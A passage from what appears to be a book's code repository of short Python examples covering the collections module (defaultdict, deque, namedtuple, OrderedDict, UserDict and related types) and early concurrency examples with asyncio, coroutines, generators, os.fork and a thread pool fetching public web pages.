 4 |     def __setitem__(self, key, value):
 5 |         for mapping in self.maps:
 6 |             if key in mapping:
 7 |                 mapping[key] = value
 8 |                 return
 9 |         self.maps[0][key] = value
10 | 
11 |     def __delitem__(self, key):
12 |         for mapping in self.maps:
13 |             if key in mapping:
14 |                 del mapping[key]
15 |                 return
16 |         raise KeyError(key)
17 | 
18 | >>> d = DeepChainMap({'zebra': 'black'}, {'elephant': 'blue'}, {'lion': 'yellow'})
19 | >>> d['lion'] = 'orange'         # update an existing key two levels down
20 | >>> d['snake'] = 'red'           # new keys get added to the topmost dict
21 | >>> del d['elephant']            # remove an existing key one level down
22 | DeepChainMap({'zebra': 'black', 'snake': 'red'}, {}, {'lion': 'orange'})
23 | 


--------------------------------------------------------------------------------
/Chapter04/defauldict_items.py:
--------------------------------------------------------------------------------
 1 | >>> for k in d:
 2 | ...     print(k, d[k])
 3 | ... 
 4 | d 3
 5 | >>> d.items()
 6 | dict_items([('d', 3)])
 7 | >>> for k in a:
 8 | ...     print(k, a[k])
 9 | ... 
10 | a 1
11 | >>> a.items()
12 | ItemsView({'a': 1})
13 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_age_groups.py:
--------------------------------------------------------------------------------
 1 | In [8]: from collections import defaultdict
 2 | 
 3 | In [9]: age_groups = defaultdict(list)
 4 | 
 5 | In [10]: for person in people:
 6 |     ...:     age_groups[person.age].append(person)
 7 |     ...:     
 8 | 
 9 | In [11]: for k in age_groups:
10 |     ...:     print(k, age_groups[k])
11 |     ...:     
12 | 40 [40, 40]
13 | 18 [18, 18, 18]
14 | 42 [42]
15 | 25 [25]
16 | 23 [23]
17 | 80 [80]
18 | 67 [67]
19 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_counting.py:
--------------------------------------------------------------------------------
1 | >>> s = 'mississippi'
2 | >>> d = defaultdict(int)
3 | >>> for k in s:
4 | ...     d[k] += 1
5 | ...
6 | >>> sorted(d.items())
7 | [('i', 4), ('m', 1), ('p', 2), ('s', 4)]
8 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_error.py:
--------------------------------------------------------------------------------
1 | >>> a.data
2 | {'a': 1}
3 | >>> d.data
4 | Traceback (most recent call last):
5 |   File "<stdin>", line 1, in <module>
6 | AttributeError: 'dict' object has no attribute 'data'
7 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_import.py:
--------------------------------------------------------------------------------
1 | >>> from collections import defaultdict
2 | >>> s = [('yellow', 1), ('blue', 2), ('yellow', 3), ('blue', 4), ('red', 1)]
3 | >>> d = defaultdict(list)
4 | >>> for k, v in s:
5 | ...     d[k].append(v)
6 | ...
7 | >>> sorted(d.items())
8 | [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])]
9 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_lambda.py:
--------------------------------------------------------------------------------
1 | >>> def constant_factory(value):
2 | ...     return lambda: value
3 | >>> d = defaultdict(constant_factory('<missing>'))
4 | >>> d.update(name='John', action='ran')
5 | >>> '%(name)s %(action)s to %(object)s' % d
6 | 'John ran to <missing>'
7 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_set.py:
--------------------------------------------------------------------------------
1 | >>> s = [("apple", 1), ("banana", 2), ("carrot", 3),  ("banana", 4), ("carrot", 1), ("banana", 4)]
2 | >>> d = defaultdict(set)
3 | >>> for k, v in s:
4 | ...     d[k].add(v)
5 | ...
6 | >>> sorted(d.items())
7 | [('apple', {1}), ('banana', {2, 4}), ('carrot', {1, 3})]
8 | 


--------------------------------------------------------------------------------
/Chapter04/defaultdict_setdefault.py:
--------------------------------------------------------------------------------
1 | >>> d = {}
2 | >>> for k, v in s:
3 | ...     d.setdefault(k, []).append(v)
4 | ...
5 | >>> sorted(d.items())
6 | [('blue', [2, 4]), ('red', [1]), ('yellow', [1, 3])]
7 | 


--------------------------------------------------------------------------------
/Chapter04/deque_add_items.py:
--------------------------------------------------------------------------------
1 | >>> d.append('j')                    # add a new entry to the right side
2 | >>> d.appendleft('f')                # add a new entry to the left side
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_avg.py:
--------------------------------------------------------------------------------
 1 | from collections import deque
 2 | import itertools
 3 | 
 4 | def moving_average(iterable, n=3):
 5 |     # moving_average([40, 30, 50, 46, 39, 44]) --> 40.0 42.0 45.0 43.0
 6 |     # http://en.wikipedia.org/wiki/Moving_average
 7 |     it = iter(iterable)  # create an iterable object from input argument
 8 |     d = deque(itertools.islice(it, n-1))  # create deque object by slicing iterable
 9 |     d.appendleft(0)
10 |     s = sum(d)
11 |     for elem in it:
12 |         s += elem - d.popleft()
13 |         d.append(elem)
14 |         yield s / n  # yield is like "return" but is used with generators
15 | 
16 | ma = moving_average([40, 30, 50, 46, 39, 44])
17 | next(ma)
18 | next(ma)
19 | next(ma)
20 | 


--------------------------------------------------------------------------------
/Chapter04/deque_clear.py:
--------------------------------------------------------------------------------
1 | >>> d.clear()                        # empty the deque
2 | >>> d.pop()                          # cannot pop from an empty deque
3 | Traceback (most recent call last):
4 |     File "<pyshell#6>", line 1, in -toplevel-
5 |         d.pop()
6 | IndexError: pop from an empty deque
7 | 


--------------------------------------------------------------------------------
/Chapter04/deque_delete.py:
--------------------------------------------------------------------------------
1 | def delete_nth(d, n):
2 |     d.rotate(-n)
3 |     d.popleft()
4 |     d.rotate(n)
5 | 


--------------------------------------------------------------------------------
/Chapter04/deque_extend.py:
--------------------------------------------------------------------------------
1 | >>> d.extend('jkl')                  
2 | >>> d
3 | deque(['g', 'h', 'i', 'j', 'k', 'l'])
4 | 


--------------------------------------------------------------------------------
/Chapter04/deque_extendleft.py:
--------------------------------------------------------------------------------
1 | >>> d.extendleft('abc')              
2 | >>> d
3 | deque(['c', 'b', 'a'])
4 | 


--------------------------------------------------------------------------------
/Chapter04/deque_in.py:
--------------------------------------------------------------------------------
1 | >>> 'h' in d                         
2 | True
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_instance.py:
--------------------------------------------------------------------------------
1 | >>> d = deque("ghi")
2 | 


--------------------------------------------------------------------------------
/Chapter04/deque_iter.py:
--------------------------------------------------------------------------------
1 | >>> for elem in d:  
2 | ...     print(elem.upper())
3 | G
4 | H
5 | I
6 | 


--------------------------------------------------------------------------------
/Chapter04/deque_list.py:
--------------------------------------------------------------------------------
1 | >>> list(d)                          
2 | ['g', 'h', 'i']
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_peek.py:
--------------------------------------------------------------------------------
1 | >>> d[0]                             # peek at leftmost item
2 | 'g'
3 | >>> d[-1]                            # peek at rightmost item
4 | 'i'
5 | 


--------------------------------------------------------------------------------
/Chapter04/deque_pop.py:
--------------------------------------------------------------------------------
1 | >>> d.pop()                          
2 | 'j'
3 | >>> d.popleft()                      
4 | 'f'
5 | 


--------------------------------------------------------------------------------
/Chapter04/deque_repr.py:
--------------------------------------------------------------------------------
1 | >>> d                                # show the representation of the deque
2 | deque(['f', 'g', 'h', 'i', 'j'])
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_reverse.py:
--------------------------------------------------------------------------------
1 | >>> list(reversed(d))                
2 | ['i', 'h', 'g']
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_reverse2.py:
--------------------------------------------------------------------------------
1 | >>> deque(reversed(d))               
2 | deque(['l', 'k', 'j', 'i', 'h', 'g'])
3 | 


--------------------------------------------------------------------------------
/Chapter04/deque_rotate.py:
--------------------------------------------------------------------------------
1 | >>> d.rotate(1)                      # right rotation
2 | >>> d
3 | deque(['l', 'g', 'h', 'i', 'j', 'k'])
4 | >>> d.rotate(-1)                     # left rotation
5 | >>> d
6 | deque(['g', 'h', 'i', 'j', 'k', 'l'])
7 | 


--------------------------------------------------------------------------------
/Chapter04/deque_tail.py:
--------------------------------------------------------------------------------
1 | def tail(filename, n=10):
2 |     'Return the last n lines of a file'
3 |     with open(filename) as f:
4 |         return deque(f, n)
5 | 


--------------------------------------------------------------------------------
/Chapter04/dict_to_namedtuple.py:
--------------------------------------------------------------------------------
1 | >>> position = {"x": 11, "y": 22}
2 | >>> Point(**position)
3 | Point(x=11, y=22)
4 | 


--------------------------------------------------------------------------------
/Chapter04/diff_sort.py:
--------------------------------------------------------------------------------
1 | >>> l = [[3, 56], [2, 34], [6, 98], [1, 43]]
2 | >>> def diffSort(item):
3 | ...     return item[1]
4 | ... 
5 | >>> l.sort(key=diffSort)
6 | >>> l
7 | [[2, 34], [1, 43], [3, 56], [6, 98]]
8 | 


--------------------------------------------------------------------------------
/Chapter04/employee_record_tuple.py:
--------------------------------------------------------------------------------
1 | EmployeeRecord = namedtuple('EmployeeRecord', 'name, age, title, department, paygrade')
2 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_bag.py:
--------------------------------------------------------------------------------
 1 | >>> bag() == set()
 2 | True
 3 | >>> bag('a') == set('a')
 4 | True
 5 | >>> bag('ab') == set('a')
 6 | False
 7 | >>> bag('a') == set('ab')
 8 | False
 9 | >>> bag('aa') == set('a')
10 | False
11 | >>> bag('aa') == set('ab')
12 | False
13 | >>> bag('ac') == set('ab')
14 | False
15 | >>> bag('ac') <= set('ab')
16 | False
17 | >>> bag('ac') >= set('ab')
18 | False
19 | >>> bag('a') <= bag('a') < bag('aa')
20 | True
21 | >>> bag('aa') <= bag('a')
22 | False
23 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_bag_compare.py:
--------------------------------------------------------------------------------
 1 | >>> c = Counter()
 2 | >>> c['a'] += 1
 3 | >>> c['a'] -= 1
 4 | >>> 'a' in c
 5 | True
 6 | >>> b = bag()
 7 | >>> b.add('a')
 8 | >>> 'a' in b
 9 | True
10 | >>> b.remove('a')
11 | >>> 'a' in b
12 | False
13 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_bag_compare2.py:
--------------------------------------------------------------------------------
1 | >>> for item in Counter('aaa'): print(item)
2 | a
3 | >>> for item in bag('aaa'): print(item)
4 | a
5 | a
6 | a
7 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_bijection.py:
--------------------------------------------------------------------------------
 1 | >>> from collections_extended import bijection
 2 | >>> bij = bijection({'a': 1, 'b': 2, 'c': 3})
 3 | >>> bij.inverse[2]
 4 | 'b'
 5 | >>> bij['a'] = 2
 6 | >>> bij == bijection({'a': 2, 'c': 3})
 7 | True
 8 | >>> bij.inverse[1] = 'a'
 9 | >>> bij == bijection({'a': 1, 'c': 3})
10 | True
11 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_rangemap.py:
--------------------------------------------------------------------------------
 1 | >>> from collections_extended import RangeMap
 2 | >>> from datetime import date
 3 | >>> us_presidents = RangeMap()
 4 | >>> us_presidents[date(1993, 1, 20):date(2001, 1, 20)] = 'Bill Clinton'
 5 | >>> us_presidents[date(2001, 1, 20):date(2009, 1, 20)] = 'George W. Bush'
 6 | >>> us_presidents[date(2009, 1, 20):] = 'Barack Obama'
 7 | >>> us_presidents[date(2001, 1, 19)]
 8 | 'Bill Clinton'
 9 | >>> us_presidents[date(2001, 1, 20)]
10 | 'George W. Bush'
11 | >>> us_presidents[date(2021, 3, 1)]
12 | 'Barack Obama'
13 | >>> us_presidents[date(2017, 1, 20):] = 'Someone New'
14 | >>> us_presidents[date(2021, 3, 1)]
15 | 'Someone New'
16 | 


--------------------------------------------------------------------------------
/Chapter04/ext_collections_setlist.py:
--------------------------------------------------------------------------------
 1 | >>> from collections_extended import setlist
 2 | >>> import string
 3 | >>> sl = setlist(string.ascii_lowercase)
 4 | >>> sl
 5 | setlist(('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'))
 6 | >>> sl[3]
 7 | 'd'
 8 | >>> sl[-1]
 9 | 'z'
10 | >>> 'r' in sl   # testing for inclusion is fast
11 | True
12 | >>> sl.index('m')       # so is finding the index of an element
13 | 12
14 | >>> sl.insert(1, 'd')   # inserting an element already in raises a ValueError
15 | Traceback (most recent call last):
16 | ...
17 |         raise ValueError
18 | ValueError
19 | >>> sl.index('d')
20 | 3
21 | 


--------------------------------------------------------------------------------
/Chapter04/file_open.py:
--------------------------------------------------------------------------------
1 | with open('file.txt', 'r') as infile:
2 |     for line in infile:
3 |         print('{}'.format(line))
4 | 


--------------------------------------------------------------------------------
/Chapter04/getattr.py:
--------------------------------------------------------------------------------
1 | >>> getattr(p, "x")
2 | 11
3 | 


--------------------------------------------------------------------------------
/Chapter04/import_csv.py:
--------------------------------------------------------------------------------
1 | import csv
2 | for emp in map(EmployeeRecord._make, csv.reader(open("employees.csv", "rb"))):
3 |     print(emp.name, emp.title)
4 | 


--------------------------------------------------------------------------------
/Chapter04/import_deque.py:
--------------------------------------------------------------------------------
1 | >>> from collections import deque
2 | 


--------------------------------------------------------------------------------
/Chapter04/import_sqlite.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | conn = sqlite3.connect('/companydata')
3 | cursor = conn.cursor()
4 | cursor.execute('SELECT name, age, title, department, paygrade FROM employees')
5 | for emp in map(EmployeeRecord._make, cursor.fetchall()):
6 |     print(emp.name, emp.title)
7 | 


--------------------------------------------------------------------------------
/Chapter04/list_of_lists.py:
--------------------------------------------------------------------------------
1 | >>> l = [[3, 56], [2, 34], [6, 98], [1, 43]]
2 | 


--------------------------------------------------------------------------------
/Chapter04/list_sort.py:
--------------------------------------------------------------------------------
1 | >>> l.sort()
2 | >>> l
3 | [[1, 43], [2, 34], [3, 56], [6, 98]]
4 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_account.py:
--------------------------------------------------------------------------------
1 | >>> Account = namedtuple('Account', 'owner balance transaction_count')
2 | >>> default_account = Account('<owner name>', 0.0, 0)
3 | >>> johns_account = default_account._replace(owner='John')
4 | >>> janes_account = default_account._replace(owner='Jane')
5 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_asdict.py:
--------------------------------------------------------------------------------
1 | >>> p = Point(x=12, y=34)
2 | >>> p._asdict()
3 | OrderedDict([('x', 11), ('y', 22)])
4 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_book.py:
--------------------------------------------------------------------------------
1 | >>> Book = namedtuple('Book', ['id', 'title', 'authors'])
2 | >>> Book.__doc__ += ': Hardcover book in active collection'
3 | >>> Book.id.__doc__ = '13-digit ISBN'
4 | >>> Book.title.__doc__ = 'Title of first printing'
5 | >>> Book.authors.__doc__ = 'List of authors sorted by last name'
6 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_create.py:
--------------------------------------------------------------------------------
1 | >>> from collections import namedtuple
2 | >>> Point = namedtuple("Point", ["x", "y"])
3 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_fields.py:
--------------------------------------------------------------------------------
1 | >>> p._fields            # view the field names
2 | ('x', 'y')
3 | 
4 | >>> Color = namedtuple('Color', 'red green blue')
5 | >>> Pixel = namedtuple('Pixel', Point._fields + Color._fields)
6 | >>> Pixel(11, 22, 128, 255, 0)
7 | Pixel(x=11, y=22, red=128, green=255, blue=0)
8 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_indexed.py:
--------------------------------------------------------------------------------
1 | >>> p[0] + p[1]
2 | 33
3 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_instance.py:
--------------------------------------------------------------------------------
1 | >>> p = Point(11, y=22)
2 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_make.py:
--------------------------------------------------------------------------------
1 | >>> t = [12, 34]
2 | >>> Point._make(t)
3 | Point(x=12, y=34)
4 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_names.py:
--------------------------------------------------------------------------------
1 | >>> p.x + p.y
2 | 33
3 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_replace.py:
--------------------------------------------------------------------------------
1 | >>> p = Point(x=11, y=22)
2 | >>> p._replace(x=33)
3 | Point(x=33, y=22)
4 | 
5 | >>> for partnum, record in inventory.items():
6 | ...     inventory[partnum] = record._replace(price=newprices[partnum], timestamp=time.now())
7 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_repr.py:
--------------------------------------------------------------------------------
1 | >>> p
2 | Point(x=11, y=22)
3 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_sales.py:
--------------------------------------------------------------------------------
 1 | In [12]: salesReceipt = collections.namedtuple("salesReceipt", ["storeID", "saleDate", "saleAmount", "totalGuests"])
 2 | 
 3 | In [13]: store22 = salesReceipt(22, "12-14-2017", 45.32, 3)
 4 | 
 5 | In [14]: store15 = salesReceipt(15, "12-14-2017", 22.50, 1)
 6 | 
 7 | In [15]: print("Store ID = ", store22.storeID)
 8 | Store ID =  22
 9 | 
10 | In [16]: print("Sales amount = ", store15.saleAmount)
11 | Sales amount =  22.5
12 | 
13 | In [17]: for i in store22:
14 |     ...:     print(i)
15 |     ...:     
16 | 22
17 | 12-14-2017
18 | 45.32
19 | 3
20 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_subclass.py:
--------------------------------------------------------------------------------
 1 | >>> class Point(namedtuple('Point', ['x', 'y'])):
 2 | ...     __slots__ = ()
 3 | ...     @property
 4 | ...     def hypot(self):
 5 | ...         return (self.x ** 2 + self.y ** 2) ** 0.5
 6 | ...     def __str__(self):
 7 | ...         return 'Point: x=%6.3f  y=%6.3f  hypot=%6.3f' % (self.x, self.y, self.hypot)
 8 | 
 9 | >>> for p in Point(3, 4), Point(14, 5/7):
10 | ...     print(p)
11 | Point: x= 3.000  y= 4.000  hypot= 5.000
12 | Point: x=14.000  y= 0.714  hypot=14.018
13 | 


--------------------------------------------------------------------------------
/Chapter04/namedtuple_unpack.py:
--------------------------------------------------------------------------------
1 | >>> x, y = p
2 | >>> x, y
3 | (11, 22)
4 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_counter.py:
--------------------------------------------------------------------------------
1 | class OrderedCounter(Counter, OrderedDict):
2 |     'Counter that remembers the order elements are first encountered'
3 | 
4 |     def __repr__(self):
5 |         return '%s(%r)' % (self.__class__.__name__, OrderedDict(self))
6 | 
7 |     def __reduce__(self):
8 |         return self.__class__, (OrderedDict(self),)
9 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_keys.py:
--------------------------------------------------------------------------------
1 | >>> d.keys()
2 | odict_keys(['a', 'c', 'd', 'e', 'b'])
3 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_move.py:
--------------------------------------------------------------------------------
1 | >>> d = OrderedDict.fromkeys('abcde')
2 | >>> d.move_to_end('b')
3 | >>> ''.join(d.keys())
4 | 'acdeb'
5 | >>> d.move_to_end('b', last=False)
6 | >>> ''.join(d.keys())
7 | 'bacde'
8 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_reduce.py:
--------------------------------------------------------------------------------
 1 | >>> class OrderedCounter(Counter, OrderedDict): 
 2 | ...      'Counter that remembers the order elements are first seen' 
 3 | ...      def __repr__(self): 
 4 | ...          return '%s(%r)' % (self.__class__.__name__, 
 5 | ...                             OrderedDict(self)) 
 6 | ...      def __reduce__(self): 
 7 | ...          return self.__class__, (OrderedDict(self),) 
 8 | ... 
 9 | >>> oc = OrderedCounter('abracadabra') 
10 | >>> import copy 
11 | >>> copy.copy(oc) 
12 | OrderedCounter(OrderedDict([('a', 5), ('b', 2), ('r', 2), ('c', 1), ('d', 
13 | 1)])) 
14 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_rem_reduce.py:
--------------------------------------------------------------------------------
1 | >>> del OrderedCounter.__reduce__ 
2 | >>> copy.copy(oc) 
3 | OrderedCounter(OrderedDict([('b', 2), ('a', 5), ('c', 1), ('r', 2), ('d', 
4 | 1)])) 
5 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_store_keys.py:
--------------------------------------------------------------------------------
1 | class LastUpdatedOrderedDict(OrderedDict):
2 |     'Store items in the order the keys were last added'
3 | 
4 |     def __setitem__(self, key, value):
5 |         if key in self:
6 |             del self[key]
7 |         OrderedDict.__setitem__(self, key, value)
8 | 


--------------------------------------------------------------------------------
/Chapter04/ordereddict_use.py:
--------------------------------------------------------------------------------
 1 | >>> from collections import OrderedDict
 2 | >>> d = {'banana': 3, 'apple': 4, 'pear': 1, 'orange': 2}  # regular unsorted dictionary
 3 | 
 4 | >>> OrderedDict(sorted(d.items(), key=lambda t: t[0]))  # dictionary sorted by key
 5 | OrderedDict([('apple', 4), ('banana', 3), ('orange', 2), ('pear', 1)])
 6 | 
 7 | >>> OrderedDict(sorted(d.items(), key=lambda t: t[1]))  # dictionary sorted by value
 8 | OrderedDict([('pear', 1), ('orange', 2), ('banana', 3), ('apple', 4)])
 9 | 
10 | >>> OrderedDict(sorted(d.items(), key=lambda t: len(t[0])))  # dictionary sorted by length of the key string
11 | OrderedDict([('pear', 1), ('apple', 4), ('orange', 2), ('banana', 3)])
12 | 


--------------------------------------------------------------------------------
/Chapter04/receipts_make.py:
--------------------------------------------------------------------------------
1 | In [18]: my_list = [27, "11-13-2017", 84.98, 5]
2 | 
3 | In [19]: store27 = salesReceipt._make(my_list)
4 | 
5 | In [20]: print(store27)
6 | salesReceipt(storeID=27, saleDate='11-13-2017', saleAmount=84.98, totalGuests=5)
7 | 


--------------------------------------------------------------------------------
/Chapter04/sales_csv.py:
--------------------------------------------------------------------------------
 1 | In [22]: from csv import reader
 2 | 
 3 | In [23]: with open("sales_record.csv", "r") as input_file:
 4 |     ...:     csv_fields = reader(input_file)
 5 |     ...:     for field_list in csv_fields:
 6 |     ...:         store_record = salesReceipt._make(field_list)
 7 |     ...:         total_sales += float(store_record.saleAmount)
 8 |     ...:         
 9 | 
10 | In [24]: print("Total sales = ", total_sales)
11 | Total sales =  105.97
12 | 


--------------------------------------------------------------------------------
/Chapter04/store_fields.py:
--------------------------------------------------------------------------------
1 | In [21]: print(store15._fields)
2 | ('storeID', 'saleDate', 'saleAmount', 'totalGuests')
3 | 


--------------------------------------------------------------------------------
/Chapter04/student_grades.py:
--------------------------------------------------------------------------------
 1 | In [30]: student_grades = {}
 2 | 
 3 | In [31]: student_grades["Jeffrey"] = 98
 4 | 
 5 | In [32]: student_grades["Sarah"] = 85
 6 | 
 7 | In [33]: student_grades["Kim"] = 92
 8 | 
 9 | In [34]: student_grades["Carl"] = 87
10 | 
11 | In [35]: student_grades["Mindy"] = 98
12 | 
13 | In [36]: student_grades
14 | Out[36]: {'Carl': 87, 'Jeffrey': 98, 'Kim': 92, 'Mindy': 98, 'Sarah': 85}
15 | 
16 | In [37]: sorted(student_grades.items(), key=lambda t: t[0])
17 | Out[37]: [('Carl', 87), ('Jeffrey', 98), ('Kim', 92), ('Mindy', 98), ('Sarah', 85)]
18 | 
19 | In [38]: sorted(student_grades.items(), key = lambda t: t[1])
20 | Out[38]: [('Sarah', 85), ('Carl', 87), ('Kim', 92), ('Jeffrey', 98), ('Mindy', 98)]
21 | 
22 | In [39]: sorted(student_grades.items(), key = lambda t: -t[1])
23 | Out[39]: [('Jeffrey', 98), ('Mindy', 98), ('Kim', 92), ('Carl', 87), ('Sarah', 85)]
24 | 
25 | In [40]: rankings = collections.OrderedDict(sorted(student_grades.items(), key = lambda t: -t[1]))
26 | 
27 | In [41]: rankings
28 | Out[41]: 
29 | OrderedDict([('Jeffrey', 98),
30 |              ('Mindy', 98),
31 |              ('Kim', 92),
32 |              ('Carl', 87),
33 |              ('Sarah', 85)])
34 | 


--------------------------------------------------------------------------------
/Chapter04/userdict_import.py:
--------------------------------------------------------------------------------
1 | >>> from collections import UserDict
2 | >>> a = UserDict(a=1)
3 | >>> d = dict(d=3)  # regular dictionary for comparison
4 | 


--------------------------------------------------------------------------------
/Chapter04/userlist_import.py:
--------------------------------------------------------------------------------
 1 | >>> from collections import UserList
 2 | >>> class ExtendList(UserList):
 3 | ...     def __setitem__(self, i, value):
 4 | ...             if i == len(self.data):
 5 | ...                     self.data.append(value)
 6 | ...             else:
 7 | ...                     self.data[i] = value
 8 | ... 
 9 | >>> l = ExtendList()
10 | >>> for i in range(10):
11 | ...     l[i] = i
12 | ... 
13 | >>> print(l)
14 | [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
15 | >>> l[10] = 10
16 | >>> print(l)
17 | [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
18 | >>> l[2] = 43
19 | >>> print(l)
20 | [0, 1, 43, 3, 4, 5, 6, 7, 8, 9, 10]
21 | >>> l[12] = 46
22 | Traceback (most recent call last):
23 |   File "<stdin>", line 1, in <module>
24 |   File "<stdin>", line 6, in __setitem__
25 | IndexError: list assignment index out of range
26 | 


--------------------------------------------------------------------------------
/Chapter04/userstring_import.py:
--------------------------------------------------------------------------------
 1 | >>> from collections import UserString
 2 | >>> class AppendString(UserString):
 3 | ...     def append(self, s):
 4 | ...             self.data = self.data + s
 5 | ... 
 6 | >>> s = AppendString("abracadabra")
 7 | >>> s.append("spam and bananas")
 8 | >>> print(s)
 9 | abracadabraspam and bananas
10 | >>> l = "banana"  # show that regular strings don't have an append method
11 | >>> l.append("apple")
12 | Traceback (most recent call last):
13 |   File "<stdin>", line 1, in <module>
14 | AttributeError: 'str' object has no attribute 'append'
15 | 


--------------------------------------------------------------------------------
/Chapter05/asyncio_concurrent.py:
--------------------------------------------------------------------------------
 1 | import asyncio
 2 | 
 3 | async def compute(x, y):
 4 |     print("Compute %s + %s ..." % (x, y))
 5 |     await asyncio.sleep(1.0)
 6 |     return x + y
 7 | 
 8 | async def print_sum(x, y):
 9 |     result = await compute(x, y)
10 |     print("%s + %s = %s" % (x, y, result))
11 | 
12 | loop = asyncio.get_event_loop()
13 | loop.run_until_complete(print_sum(1, 2))
14 | loop.close()
15 | 


--------------------------------------------------------------------------------
/Chapter05/asyncio_multi_jobs.py:
--------------------------------------------------------------------------------
 1 | import asyncio
 2 | 
 3 | async def factorial(name, number):
 4 |     f = 1
 5 |     for i in range(2, number+1):
 6 |         print("Task %s: Compute factorial(%s)..." % (name, i))
 7 |         await asyncio.sleep(1)
 8 |         f *= i
 9 |     print("Task %s: factorial(%s) = %s" % (name, number, f))
10 | 
11 | loop = asyncio.get_event_loop()
12 | loop.run_until_complete(asyncio.gather(
13 |     factorial("A", 2),
14 |     factorial("B", 3),
15 |     factorial("C", 4),
16 | ))
17 | loop.close()
18 | 


--------------------------------------------------------------------------------
/Chapter05/coroutine_decorator.py:
--------------------------------------------------------------------------------
1 | def coroutine(funct):
2 | 	def wrapper(*args, **kwargs):
3 | 		cor = funct(*args, **kwargs)
4 | 		next(cor)
5 | 		return cor
6 | 	return wrapper
7 | 


--------------------------------------------------------------------------------
/Chapter05/coroutine_func.py:
--------------------------------------------------------------------------------
1 | def cor():
2 |     hi = yield "Hello"
3 |     yield hi
4 | cor = cor()
5 | print(next(cor))
6 | print(cor.send("World"))
7 | 


--------------------------------------------------------------------------------
/Chapter05/coroutine_input.py:
--------------------------------------------------------------------------------
1 | print(cor.send("World"))
2 | 


--------------------------------------------------------------------------------
/Chapter05/coroutine_instance.py:
--------------------------------------------------------------------------------
1 | cor = cor()
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter05/coroutine_next.py:
--------------------------------------------------------------------------------
1 | print(next(cor))
2 | 


--------------------------------------------------------------------------------
/Chapter05/define_child.py:
--------------------------------------------------------------------------------
1 | def child():
2 |    print("Child {} calling".format(os.getpid()))
3 |    os._exit(0)
4 | 


--------------------------------------------------------------------------------
/Chapter05/define_parent.py:
--------------------------------------------------------------------------------
1 | def parent():
2 |    for i in range(10):
3 |    	newchild = os.fork()
4 |    	if newchild == 0:
5 |    		child()
6 |    	else:
7 |    		print("Parent {parent} calling. Creating child {child}".format(parent=os.getpid(), child=newchild))
8 |    	i += 1
9 | 


--------------------------------------------------------------------------------
/Chapter05/gen_comprehension.py:
--------------------------------------------------------------------------------
1 | g = (x for x in foo if x % 2 == 0)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter05/gen_comprehension_loop.py:
--------------------------------------------------------------------------------
1 | for i in g:
2 | 


--------------------------------------------------------------------------------
/Chapter05/generator_example.py:
--------------------------------------------------------------------------------
1 | def my_generator(x):
2 |     while x:
3 |         x -= 1
4 |         yield x
5 | 
6 | mygen = my_generator(5)
7 | next(mygen)  # continue until iteration stops
8 | 
9 | 


--------------------------------------------------------------------------------
/Chapter05/list_comprehension.py:
--------------------------------------------------------------------------------
1 | l = [x for x in foo if x % 2 == 0]
2 | 


--------------------------------------------------------------------------------
/Chapter05/multi_process_retrieval.py:
--------------------------------------------------------------------------------
 1 | import urllib.request, urllib.error 
 2 | from multiprocessing.dummy import Pool 
 3 | import time
 4 | 
 5 | start_time = time.time()
 6 | 
 7 | urls = ["https://www.python.org", 
 8 |         "https://www.google.com", 
 9 | 		"https://www.techdirt.com",
10 | 		"https://www.facebook.com",
11 | 		"https://www.ibm.com",
12 | 		"https://www.dell.com",
13 | 		"https://www.amd.com",
14 | 		"https://www.yahoo.com",
15 | 		"https://www.microsoft.com",
16 | 		"https://www.apache.org"]
17 | 
18 | # Make the Pool of workers
19 | pool = Pool(4) 
20 | 
21 | # Open the urls in their own process
22 | try:
23 |     pool.map(urllib.request.urlopen, urls)
24 | except urllib.error.HTTPError:
25 |     pass
26 | 
27 | #close the pool and wait for the work to finish 
28 | pool.close() 
29 | pool.join() 
30 | 
31 | print('Done! Time taken: {}'.format(time.time() - start_time))
32 | 


--------------------------------------------------------------------------------
/Chapter05/multi_thread_retrieval.py:
--------------------------------------------------------------------------------
 1 | import time 
 2 | import threading 
 3 | import queue 
 4 | import urllib.request, urllib.error 
 5 | 
 6 | class Receiver(threading.Thread): 
 7 |     def __init__(self, queue): 
 8 |         threading.Thread.__init__(self)
 9 |         self._queue = queue 
10 | 
